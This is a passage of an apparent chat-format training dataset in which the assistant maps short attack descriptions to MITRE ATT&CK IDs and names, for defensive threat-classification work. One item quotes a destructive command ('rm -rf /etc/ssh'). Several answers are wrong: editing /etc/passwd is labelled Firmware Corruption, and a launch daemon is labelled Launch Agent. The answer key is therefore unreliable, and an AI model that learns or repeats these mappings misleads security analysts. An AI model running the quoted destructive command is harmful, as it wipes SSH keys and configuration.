        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers leverage the rc initialization scripts to embed malicious binaries that run during system initialization."
            },
            {
                "role": "assistant",
                "content": "T1037.004 - Boot or Logon Initialization Scripts: RC Scripts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The campaign leverages LNK icon smuggling by bundling the malicious payload with a decoy icon resource to bypass security filters."
            },
            {
                "role": "assistant",
                "content": "T1027.012 - Obfuscated Files or Information: LNK Icon Smuggling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker tampers with cloud compute configuration files, disabling security monitoring agents on the instances."
            },
            {
                "role": "assistant",
                "content": "T1578.005 - Modify Cloud Compute Infrastructure: Modify Cloud Compute Configurations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary uses hidden NTFS file attributes, such as the system and hidden flags, to conceal their tools from users."
            },
            {
                "role": "assistant",
                "content": "T1564.004 - Hide Artifacts: NTFS File Attributes"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware performed a 'rm -rf /etc/ssh' to delete SSH host keys and configuration files."
            },
            {
                "role": "assistant",
                "content": "T1485 - Data Destruction"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor leverages Terraform state files exposed in a public repository to discover cloud resources."
            },
            {
                "role": "assistant",
                "content": "T1526 - Cloud Service Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries attach malicious code to the hidden resource fork of a PDF file, allowing it to execute when opened on macOS."
            },
            {
                "role": "assistant",
                "content": "T1564.009 - Hide Artifacts: Resource Forking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers extracted the SAM file from a Windows machine and employed John the Ripper to crack local account passwords."
            },
            {
                "role": "assistant",
                "content": "T1110.002 - Brute Force: Password Cracking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor alters the VDSO mapping to inject a payload that runs with the same privileges as the compromised binary."
            },
            {
                "role": "assistant",
                "content": "T1055.014 - Process Injection: VDSO Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors monitor darknet markets for compromised credential dumps related to the victim."
            },
            {
                "role": "assistant",
                "content": "T1597 - Search Closed Sources"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor uploads a tampered disk image to the target's system, then uses the OS's built‑in mounting capabilities to run the malicious code."
            },
            {
                "role": "assistant",
                "content": "T1525 - Implant Internal Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During the compromise, the threat actor modifies the TLS library to downgrade the handshake to use export‑grade ciphers with 40‑bit keys, weakening the encryption strength of all communications."
            },
            {
                "role": "assistant",
                "content": "T1600.001 - Weaken Encryption: Reduce Key Space"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By exploiting a flaw in the time‑synchronization algorithm of a TOTP generator, the attacker generates valid one‑time passwords without the victim's device."
            },
            {
                "role": "assistant",
                "content": "T1556.006 - Modify Authentication Process: Multi-Factor Authentication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An exploit runs a WMI query to collect OS language, timezone, and system uptime for reconnaissance."
            },
            {
                "role": "assistant",
                "content": "T1082 - System Information Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actor uses compromised cloud admin credentials to edit compute instance firewall rules, opening ports for exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1578.005 - Modify Cloud Compute Infrastructure: Modify Cloud Compute Configurations"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A covert module reads the securityd daemon’s memory to retrieve stored SSH keys."
            },
            {
                "role": "assistant",
                "content": "T1555.002 - Credentials from Password Stores: Securityd Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware triggers a command to clear the disk's structural metadata, effectively wiping the drive's organization."
            },
            {
                "role": "assistant",
                "content": "T1561.002 - Disk Wipe: Disk Structure Wipe"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A piece of malware targets and exploits vulnerabilities in specific business applications, such as customer relationship management or enterprise resource planning software."
            },
            {
                "role": "assistant",
                "content": "T1203 - Exploitation for Client Execution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries use legitimate mining software, modified to evade detection, to siphon off resources from victim infrastructure."
            },
            {
                "role": "assistant",
                "content": "T1496 - Resource Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An external actor uses PowerShell to invoke the Invoke-ASREPRoast module, gathering AS‑REP responses for accounts without pre‑auth and storing them for offline analysis."
            },
            {
                "role": "assistant",
                "content": "T1558.004 - Steal or Forge Kerberos Tickets: AS-REP Roasting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors develop custom remote code execution exploits to gain initial access to high-value Windows servers."
            },
            {
                "role": "assistant",
                "content": "T1587.004 - Develop Capabilities: Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT edits the domain's trust relationship, adding a malicious child domain."
            },
            {
                "role": "assistant",
                "content": "T1484 - Domain Policy Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Post-exploitation, the attacker added a new entry to /etc/sudoers granting the compromised user full root access, enabling further lateral movement."
            },
            {
                "role": "assistant",
                "content": "T1548.003 - Abuse Elevation Control Mechanism: Sudo and Sudo Caching"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker drops a malicious script named after a trusted utility into a directory that has precedence in the search order, resulting in the script being executed."
            },
            {
                "role": "assistant",
                "content": "T1574.008 - Hijack Execution Flow: Path Interception by Search Order Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A RAT alters TCP payloads on the fly to inject commands into a legitimate remote administration session."
            },
            {
                "role": "assistant",
                "content": "T1565.002 - Data Manipulation: Transmitted Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary exploits vulnerable DNS server software to gain persistence inside the target network."
            },
            {
                "role": "assistant",
                "content": "T1584.002 - Compromise Infrastructure: DNS Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor gathers a list of the target's web properties by searching for company branding on social media and domain registries."
            },
            {
                "role": "assistant",
                "content": "T1594 - Search Victim-Owned Websites"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor uses a tabnabbing attack, hijacking inactive tabs in a user's browser to steal login credentials or sensitive information."
            },
            {
                "role": "assistant",
                "content": "T1185 - Browser Session Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a file grabber to retrieve cached authentication tokens from local storage."
            },
            {
                "role": "assistant",
                "content": "T1005 - Data from Local System"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker subverts a software development toolchain by inserting a trojan into a custom compiler, resulting in all compiled binaries containing a hidden payload."
            },
            {
                "role": "assistant",
                "content": "T1195.001 - Supply Chain Compromise: Compromise Software Dependencies and Development Tools"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages sudo timestamp caching to maintain elevated access across multiple sessions."
            },
            {
                "role": "assistant",
                "content": "T1548.003 - Abuse Elevation Control Mechanism: Sudo and Sudo Caching"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker leverages a compromised account to deploy a new stored procedure that silently downloads additional malware."
            },
            {
                "role": "assistant",
                "content": "T1505.001 - Server Software Component: SQL Stored Procedures"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After exploiting a vulnerability, the attacker set up an AnyDesk connection to exfiltrate data."
            },
            {
                "role": "assistant",
                "content": "T1219 - Remote Access Software"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using regsvr32.exe, the compromise loaded a malicious .ocx file from a network share to perform system binary proxy execution."
            },
            {
                "role": "assistant",
                "content": "T1218.010 - System Binary Proxy Execution: Regsvr32"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious PowerShell script invokes the BypassUAC function to execute with administrator privileges."
            },
            {
                "role": "assistant",
                "content": "T1548.002 - Abuse Elevation Control Mechanism: Bypass User Account Control"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor leverages PowerShell to execute \"New-LocalUser\" and adds the account to the Administrators group."
            },
            {
                "role": "assistant",
                "content": "T1136 - Create Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The espionage group uses non‑application layer protocols such as TCP SYN packets with embedded payloads to control compromised endpoints."
            },
            {
                "role": "assistant",
                "content": "T1095 - Non-Application Layer Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor exploits a buffer overflow in a VPN client, causing the VPN service to terminate and deny network access on the device."
            },
            {
                "role": "assistant",
                "content": "T1499.004 - Endpoint Denial of Service: Application or System Exploitation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor leverages a compromised admin account to place a launchd plist that runs a rootkit at boot."
            },
            {
                "role": "assistant",
                "content": "T1543.001 - Create or Modify System Process: Launch Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious script contacts a hard‑coded DNS server to obtain a list of generated domains that point to the attacker’s infrastructure."
            },
            {
                "role": "assistant",
                "content": "T1568 - Dynamic Resolution"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware drops a launch daemon in /System/Library/LaunchDaemons to persist by starting a hidden process on startup."
            },
            {
                "role": "assistant",
                "content": "T1543.001 - Create or Modify System Process: Launch Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised application reads the iOS Keychain to steal saved banking app credentials."
            },
            {
                "role": "assistant",
                "content": "T1555 - Credentials from Password Stores"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using the Windows built‑in tool PsExec, the attacker connected to the victim's admin share and launched a credential‑dumping tool on the remote host."
            },
            {
                "role": "assistant",
                "content": "T1021.002 - Remote Services: SMB/Windows Admin Shares"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post-exploitation tool hijacks an existing thread of a system process by modifying its context (e.g., SetThreadContext) to execute attacker-controlled code."
            },
            {
                "role": "assistant",
                "content": "T1055.003 - Process Injection: Thread Execution Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious iOS configuration profile includes a payload that reads keychain items and sends them to a C2 server."
            },
            {
                "role": "assistant",
                "content": "T1555.001 - Credentials from Password Stores: Keychain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker performs Google searches and site-specific queries to locate the victim's corporate website and harvests usernames from publicly visible pages."
            },
            {
                "role": "assistant",
                "content": "T1594 - Search Victim-Owned Websites"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A script collected timestamps of recently modified files across all user profile folders."
            },
            {
                "role": "assistant",
                "content": "T1083 - File and Directory Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group exploits a vulnerable web application to download configuration JSON files exposing OAuth client secrets."
            },
            {
                "role": "assistant",
                "content": "T1602 - Data from Configuration Repository"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious insider adds a new privileged user to the organization's cloud tenant using the web console."
            },
            {
                "role": "assistant",
                "content": "T1136.003 - Create Account: Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries collect information about the target's corporate affiliates, joint ventures, and strategic alliances to map out the business ecosystem surrounding the victim."
            },
            {
                "role": "assistant",
                "content": "T1591.002 - Gather Victim Org Information: Business Relationships"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leveraged a cross-site scripting (XSS) vulnerability to inject defacement code that altered the visible content of the external site for all visitors."
            },
            {
                "role": "assistant",
                "content": "T1491.002 - Defacement: External Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised CDN serves a tampered version of the web portal’s login page, silently recording credential information."
            },
            {
                "role": "assistant",
                "content": "T1056.003 - Input Capture: Web Portal Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a compromised third‑party SaaS platform to embed exfiltrated data in API request bodies."
            },
            {
                "role": "assistant",
                "content": "T1567.004 - Exfiltration Over Web Service: Exfiltration Over Webhook"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious insider edited the JavaScript of the company's internal web app to display a defacement message on load."
            },
            {
                "role": "assistant",
                "content": "T1491.001 - Defacement: Internal Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware enumerates the 'TrustedDomain' objects in the directory to identify cross‑forest trusts."
            },
            {
                "role": "assistant",
                "content": "T1482 - Domain Trust Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker runs Mimikatz to dump credentials from the LSASS process on a compromised Windows host."
            },
            {
                "role": "assistant",
                "content": "T1003.001 - OS Credential Dumping: LSASS Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By leveraging ROMMONkit, the attacker gains kernel‑level access by overwriting the boot configuration stored in ROM."
            },
            {
                "role": "assistant",
                "content": "T1542.004 - Pre-OS Boot: ROMMONkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker employs a compromised email account to forward malicious attachments to all contacts, spreading the infection internally."
            },
            {
                "role": "assistant",
                "content": "T1566 - Phishing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign dropped a .exe that called InstallUtil to install a malicious .NET assembly on the target machine."
            },
            {
                "role": "assistant",
                "content": "T1218.004 - System Binary Proxy Execution: InstallUtil"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A cyber‑espionage group manipulated Active Directory trust relationships to replicate credentials across trusted domains."
            },
            {
                "role": "assistant",
                "content": "T1484.002 - Domain Policy Modification: Domain Trust Modification"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious script spawns a child process and then uses WriteProcessMemory to plant malicious code into the child's address space."
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group obtained credentials and modified a serverless function's environment variables to steal secrets."
            },
            {
                "role": "assistant",
                "content": "T1584.007 - Compromise Infrastructure: Serverless"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries use Google Cloud's IAP tunneling feature to forward traffic and maintain a foothold on victim hosts within the cloud environment."
            },
            {
                "role": "assistant",
                "content": "T1021.007 - Remote Services: Cloud Services"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware modifies the registry to disable Windows PowerShell command logging, preventing the capture of executed commands."
            },
            {
                "role": "assistant",
                "content": "T1562.003 - Impair Defenses: Impair Command History Logging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor downloaded the configuration of routers from a version-controlled repository."
            },
            {
                "role": "assistant",
                "content": "T1602.002 - Data from Configuration Repository: Network Device Configuration Dump"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Cyber intruders registered a domain \"secure-payments.com\" that mimics a popular payment processor to harvest payment information."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary sets up a malicious HTTP forward proxy on a compromised server to relay malicious traffic and hide the true source of command and control communications."
            },
            {
                "role": "assistant",
                "content": "T1090 - Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker modifies the permissions of /etc/passwd to add a new privileged user entry."
            },
            {
                "role": "assistant",
                "content": "T1495 - Firmware Corruption"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries use the Windows utility cmstp.exe to execute malicious code by loading a malicious INF file."
            },
            {
                "role": "assistant",
                "content": "T1218.003 - System Binary Proxy Execution: CMSTP"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker utilizes Mimikatz to retrieve clear-text credentials from memory."
            },
            {
                "role": "assistant",
                "content": "T1003.001 - OS Credential Dumping: LSASS Memory"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The campaign utilized a rootkit that hooks API calls to conceal malicious processes."
            },
            {
                "role": "assistant",
                "content": "T1014 - Rootkit"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The implant modifies the VDSO's __vdso_clock_gettime implementation to run arbitrary code inside the victim process."
            },
            {
                "role": "assistant",
                "content": "T1055.014 - Process Injection: VDSO Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By invoking regasm with the /codebase flag, the attacker executes a malicious .NET payload in the context of the Windows Process Activation Service."
            },
            {
                "role": "assistant",
                "content": "T1218.009 - System Binary Proxy Execution: Regsvcs/Regasm"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor acquires a commercial exploit kit from a darknet marketplace and stages it for later deployment."
            },
            {
                "role": "assistant",
                "content": "T1588.002 - Obtain Capabilities: Tool"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary scripts the creation of a new AWS IAM role and attaches a policy granting full access."
            },
            {
                "role": "assistant",
                "content": "T1136.003 - Create Account: Cloud Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor leverages a compromised service account to forcibly disconnect a current RDP session and immediately reconnect using the same session ID."
            },
            {
                "role": "assistant",
                "content": "T1563.002 - Remote Service Session Hijacking: RDP Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
